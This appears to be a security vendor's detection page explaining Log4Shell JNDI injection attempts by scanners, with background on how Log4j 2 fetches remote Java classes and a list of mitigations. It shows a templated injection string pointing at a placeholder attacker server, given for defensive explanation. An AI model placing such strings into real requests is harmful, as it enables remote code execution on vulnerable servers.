• Platformchevron right
  • Solutionschevron right
  • Modern NDRchevron right
  • Resourceschevron right
  • Companychevron right

DETECTION OVERVIEW

Log4Shell JNDI Injection Attempt by a Scanner

Risk Factors

The Log4Shell vulnerability in Apache Log4j2 is well known, affects thousands of applications, and is trivial to exploit. Vulnerability scanners can easily identify vulnerable applications by attempting to inject JNDI strings through automation. Authorized scans will not damage the application, but unauthorized scans should be investigated.

Kill Chain

Exploitation

Risk Score

42

Detection diagram
Next in Exploitation: MOVEit Transfer Exploit Attempt - CVE-2023-34362

Attack Background

Apache Log4j is an open source logging utility that is commonly built into enterprise applications and web servers. Log4j 2 supports Java Naming and Directory Interface (JNDI), which provides the ability to make calls across distributed applications to retrieve a Java class file (essentially executable code). JNDI calls can be performed over several protocols, such as LDAP, DNS, RMI, IIOP, and more. Log4j 2 has a vulnerability in how it performs JNDI calls with untrusted data. To exploit this vulnerability, an attacker injects a malicious JNDI string into any piece of data that can be logged by a victim application. The JNDI string has a syntax similar to ${jndi:[protocol]://[attackerserver.com]/[path]}; although the attacker can modify string values to evade detection. The victim performs a JNDI call to an attacker-controller server, which then forces the victim to download and run a malicious Java class file.

The diagram shows one example scenario. An attacker injects a JNDI string with a malicious LDAP server hostname into the user agent field of an HTTP request (1). After the victim logs the user agent information, Log4j 2 extracts the hostname from the JNDI string and the victim communicates with the malicious LDAP server (2). The LDAP server responds by sending the victim a path or location to a malicious Java class file on another attacker-controlled server. The victim downloads the class file from that server and runs the malicious code (3).

Mitigation Options

Refer to the CISA Emergency Directive 22-02 for mitigation information

Update all applications affected by Log4Shell vulnerability

Enable decryption to analyze inbound and outbound data

Review all unexpected outbound connections from internet-facing web servers running Java

MITRE ATT&CK ID

What else can RevealX do for you?